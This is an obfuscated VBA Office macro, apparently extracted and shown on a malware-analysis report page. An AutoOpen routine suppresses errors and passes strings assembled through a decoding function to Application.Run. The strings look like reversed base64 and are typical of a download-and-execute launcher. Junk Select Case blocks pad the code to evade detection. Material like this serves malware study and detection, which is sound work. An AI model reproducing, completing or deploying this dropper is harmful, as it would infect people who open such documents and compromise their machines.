loRFLmtw = TQzToo + wTzOst("8oBp<i(8<QGAiBQZAYDAiBQOAEGA3AAOAkDA2AAMAEDAkBQZAgDA4AQYAQDAyAQYAQDAlBgYAADAwAQOAIDAmBgZAEGA1AQYAEDA2AgMAEGAkBAMAEDAlBwNAADAzAAMAYDAyAwNAEGAwAQMAIDAiBQNAUGA5AwMAIDAjBwNAMDA2F!I5w94k22!W#<fi@nUW$!Zo3V", 27, 164)
Select Case MCQzpR
         Case 83912
            oHuzz = Fix(19371)
            XvFVNY = Int(75817)
         Case 32430
            tLuzbu = VcakGX
            hOAiTr = ChrW(jpWJY)
      End Select
Select Case FpuzZ
         Case 30400
            WKvlpA = Fix(56606)
            cDLZi = Int(3612)
         Case 23395
            KllTEh = zHEYzH
            Hjnrz = ChrW(zQjjqw)
      End Select
cZYvJ = HqjXZma + wTzOst(".smfzZ.#gNAIGA4AwYAUGA4AgZAUGAjBwNAUDAkBgMAQDAxAAZAIGA1AgMAEDA3AAZAkDAhBQMAIGAlBAZAkDA2AwMAADA5AQYAYGAxAgNAEDAkBvwf9F8!j#f", 11, 104)
Select Case FpuzZ
         Case 30400
            WKvlpA = Fix(56606)
            cDLZi = Int(3612)
         Case 23395
            KllTEh = zHEYzH
            Hjnrz = ChrW(zQjjqw)
      End Select
Select Case IwHBm
         Case 34319
            Hooip = Fix(28783)
            uHInRX = Int(58079)
         Case 29461
            wUBca = nSnBol
            vAcGBt = ChrW(TDZid)
      End Select
sRnGzJ = zzZEX + wTzOst("N]K[$F53I7%fn3a.%mj$)8AEGAzAgZAMGAkBgNAUGAmBAOAUDAjBgMAQGAkBANAIDAiBQZAYDAiBAMAEGAlBQNAIGA3AAOAYDA2AQOAYGAxAAOAEDA5AwNAkDA2AANAQDAmBQMAQDA5AgVQY", 4, 119)
Select Case IwHBm
         Case 34319
            Hooip = Fix(28783)
            uHInRX = Int(58079)
         Case 29461
            wUBca = nSnBol
            vAcGBt = ChrW(TDZid)
      End Select
GXHpTbZVIEkw = nwFUafAfWs + kEuTcitaJjkp + BwclORULsOboYV + ChrW(34) + bAWqoazwLHKLWk + jqRSnTNuzB + QvKhP + KifqIbNuRHV + QmwIuHUtzG + oYzzoAb + pwAzWiMS + ZlCjIVWj + zWrSKAf + HQrJZ + Kialzitam + sRnGzJ + JnaOuY + fjEoDGGSj + MGVvXViquQc + sdnKzjLIvz + hjicX + VlDjHoDnzc + zwzKliRLaz + RLOisQdf + QiWuMDYw + zvRqizP + zoPAujVQSL + nqEjqZPk + HJpMzjHpPI + jwVXlnoVF + aGEHpJEEFn + ownJZnjCmN + inHMOw + BIGWlSE + dqAzEpsKcU + bkWwV + auHQifaXtTm + zlTdLMdp + zXKiTqXRNh + iwKARYdjYsi + cZYvJ + fbwrwh + oqIfA + ZLLlZdRdLt + loRFLmtw + AdndAQb
Select Case EuvSws
         Case 92163
            YTYKsV = Fix(73265)
            sQGST = Int(94349)
         Case 24814
            IijYwj = FtwVO
            RrCfRw = ChrW(QQHdZ)
      End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case LSRtAX
         Case 64981
            ZEnBzq = Fix(38824)
            WGzIRN = Int(80333)
         Case 51304
            NjbHX = IiJKzw
            cCGsV = ChrW(fZIrq)
      End Select
Select Case zCYiW
         Case 97126
            qVnqGS = Fix(4028)
            fWpfW = Int(87143)
         Case 15908
            wCZsdv = EpkoZq
            AnMVIs = ChrW(MzZTAA)
      End Select
Application.Run "BYLTzuFNHmfB", GXHpTbZVIEkw
Select Case TMTZp
         Case 47692
            bwGwvX = Fix(67225)
            VicUv = Int(42452)
         Case 4160
            BlPok = AYdvv
            cQOkRI = ChrW(qFWMU)
      End Select
Select Case Kduqf
         Case 9424
            RtSoZk = Fix(82805)
            vhVzb = Int(96332)
         Case 47411
            PsDmw = MfYui
            YGizq = ChrW(TiwaK)
      End Select
Select Case RAuYAN
         Case 86984
            mZiwc = Fix(35105)
            FhnQiB = Int(33690)
         Case 99450
            zYJMiq = piVVw
            oiLBa = ChrW(zbkUYj)
      End Select
End Sub

Attribute VB_Name = "BKKffzAFY"
Function BwclORULsOboYV()
On Error Resume Next
Select Case rwltX
         Case 74060
            Vtvkmd = Fix(77934)
            jZpRO = Int(44012)
         Case 11959
            HIDsN = jjrNcv
            JcpSO = ChrW(mtwYP)
      End Select
dbIHSWj = AEhChzp + wTzOst("QdoO% tes&&eh=%VAFs999Qa75TzMj9", 14, 15)
Select Case rwltX
         Case 74060
            Vtvkmd = Fix(77934)
            jZpRO = Int(44012)
         Case 11959
            HIDsN = jjrNcv
            JcpSO = ChrW(mtwYP)
      End Select
Select Case PVFot
         Case 97626
            Qkzci = Fix(74319)
            IWddT = Int(81480)
         Case 21217
            lsUhmF = FSJjjM
            QmoOl = ChrW(InmHwN)
      End Select
rAmqiRwiVcC = RqJqqE + wTzOst("@f6(VR=%qifzqY87Vp.YG#t", 15, 5)
Select Case PVFot
         Case 97626
            Qkzci = Fix(74319)
            IWddT = Int(81480)
         Case 21217
            lsUhmF = FSJjjM
            QmoOl = ChrW(InmHwN)
      End Select
Select Case ZFOmX
         Case 29474
            ijvJa = Fix(46501)
            DQZMt = Int(8714)
         Case 82765
            qAmLpo = EwTznO
            bQkusE = ChrW(wzinw)
      End Select
wvfjCbosB = bRRlj + wTzOst("58jBr808XmNFd% tes&&VafZ4jtA1Rl%93VU0kC@YNr", 23, 12)
Select Case ZFOmX
         Case 29474
            ijvJa = Fix(46501)
            DQZMt = Int(8714)
         Case 82765
            qAmLpo = EwTznO
            bQkusE = ChrW(wzinw)
      End Select
Select Case jjhUXw
         Case 41443
            rYRuq = Fix(13566)
            rADwW = Int(34291)
         Case 78398
            wZZjmN = QIPMz
            tDsrwi = ChrW(aGizA)
      End Select
lFXFn = jawQCXi + wTzOst("B0o#es&&nZzWWDZt=%OKuDBj#G88!Vd5j", 12, 18)
Select Case jjhUXw
         Case 41443
            rYRuq = Fix(13566)
            rADwW = Int(34291)
         Case 78398
            wZZjmN = QIPMz
            tDsrwi = ChrW(aGizA)
      End Select
Select Case RzloWK
         Case 11129
            plZOq = Fix(60251)
            lPjjVl = Int(22135)
         Case 33358
            TCOwD = znWpFE
            jfQZl = ChrW(FrJYJ)
      End Select
vbnUJLfAU = umEwr + wTzOst("P0F=%HiIjijLl2Mv2#]M%4Acp8mwomv", 19, 10)
Select Case RzloWK
         Case 11129
            plZOq = Fix(60251)
            lPjjVl = Int(22135)
         Case 33358
            TCOwD = znWpFE
            jfQZl = ChrW(FrJYJ)
      End Select
Select Case pjwrcM
         Case 63018
            LDpEpG = Fix(60555)
            jSMYp = Int(86939)
         Case 69850
            tQPYk = KCJCj
            kkdcij = ChrW(qXJWn)
      End Select
AGwkGj = dlBcED + wTzOst(")kYblzWLSRiDRN%UU0tG8fA", 12, 9)
Select Case pjwrcM
         Case 63018
            LDpEpG = Fix(60555)
            jSMYp = Int(86939)
         Case 69850
            tQPYk = KCJCj
            kkdcij = ChrW(qXJWn)
      End Select
Select Case djirA
         Case 21014
            lIAUZ = Fix(58537)
            XpTTwr = Int(39886)
         Case 35013
            IujiDb = aplDz
            GitfF = ChrW(iRPnw)
      End Select
cOihKoiOz = ajGAsw + wTzOst("#q(UpnUFWLrjPVovUj% tes&&wDN58", 5, 18)
Select Case djirA
         Case 21014
            lIAUZ = Fix(58537)
            XpTTwr = Int(39886)
         Case 35013
            IujiDb = aplDz
            GitfF = ChrW(iRPnw)
      End Select
Select Case BsqPmU
         Case 8912
            iVoiG = Fix(6255)
            BkkuZR = Int(21911)
         Case 94905
            aPHlU = KirUal
            oMmaRY = ChrW(HZqbF)
      End Select
WpScuo = rXaFi + wTzOst("vvI!aC#ZLSYSVITw%!!ndBhA4dVf75", 12, 10)
Select Case BsqPmU
         Case 8912
            iVoiG = Fix(6255)
            BkkuZR = Int(21911)
         Case 94905
            aPHlU = KirUal
            oMmaRY = ChrW(HZqbF)
      End Select
Select Case pLtuOS
         Case 24825
            Ymthzo = Fix(43232)
            mCsum = Int(75633)
         Case 44993
            VjuDJ = HQYJuj
            djZFYK = ChrW(hUlZF)
      End Select
iIDiji = SWzBaq + wTzOst("31(k.#CNFRJHjM8ZC95wZP#@0Qh7ri7XPh", 27, 1)
Select Case pLtuOS
         Case 24825
            Ymthzo = Fix(43232)
            mCsum = Int(75633)
         Case 44993
            VjuDJ = HQYJuj
            djZFYK = ChrW(hUlZF)
      End Select
Select Case jLKFsD
         Case 61378
            vZlJz = Fix(58073)
            AAJzb = Int(31858)
         Case 5839
            BYBaPz = KDKwJ
            dHQiLr = ChrW(cfzfLG)
      End Select
SzLmlvaLlp = qQCNB + wTzOst("bEFjL0$f0m5#IkfDz9QiBNZb% tMr", 3, 8)
Select Case jLKFsD
         Case 61378
            vZlJz = Fix(58073)
            AAJzb = Int(31858)
         Case 5839
            BYBaPz = KDKwJ
            dHQiLr = ChrW(cfzfLG)
      End Select
Select Case HdYnaA
         Case 8110
            QVFoj = Fix(75473)
            CQwCWG = Int(28697)
         Case 80534
            aAQiUi = hpBGR
            Lnbdso = ChrW(RQzkaD)
      End Select
QlHAUwiFjq = cVNpSdh + wTzOst("2PvNK4Cz8s%nEFSOBZHGAjS%!!%HiAvYi6C2", 8, 19)
Select Case HdYnaA
         Case 8110
            QVFoj = Fix(75473)
            CQwCWG = Int(28697)
         Case 80534
            aAQiUi = hpBGR
            Lnbdso = ChrW(RQzkaD)
      End Select
Select Case hHHXa
         Case 63512
            RzdRCC = Fix(84840)
            GzUSrz = Int(9539)
         Case 26730
            OkGMzl = Vijfw
            UFzGWI = ChrW(XEQKYU)
      End Select
PCnZiwoCj = EOVYs + wTzOst("$9U3(XatI$3O3sIftes&&DIVfYF55jhAjj(#wo$7qd", 22, 5)
Select Case hHHXa
         Case 63512
            RzdRCC = Fix(84840)
            GzUSrz = Int(9539)
         Case 26730
            OkGMzl = Vijfw
            UFzGWI = ChrW(XEQKYU)
      End Select
Select Case ooQsw
         Case 29780
            uqEmOW = Fix(94304)
            oGjLQ = Int(7830)
         Case 96541
            jSWQC = fqUiP
            cELGo = ChrW(Ssfmn)
      End Select
zfawS = zhLRc + wTzOst("7%i)8(DjIjijLlmNFd%!&&ll=%oo.di5<Zq5!", 11, 19)
Select Case ooQsw
         Case 29780
            uqEmOW = Fix(94304)
            oGjLQ = Int(7830)
         Case 96541
            jSWQC = fqUiP
            cELGo = ChrW(Ssfmn)
      End Select
Select Case DTLuo
         Case 56337
            miUkZ = Fix(46867)
            wqQNo = Int(43706)
         Case 50243
            LoFsE = ICZUT
            iwSMd = ChrW(zWvAiQ)
      End Select
ZNqwqBs = QRbnY + wTzOst("Vt%vdd6wzlB5z38BQl8%S<fwRjTpHXG%!BEzqdzVlz8k", 12, 7)
Select Case DTLuo
         Case 56337
            miUkZ = Fix(46867)
…

Open this report in the interactive analyzer, or submit your own file for analysis.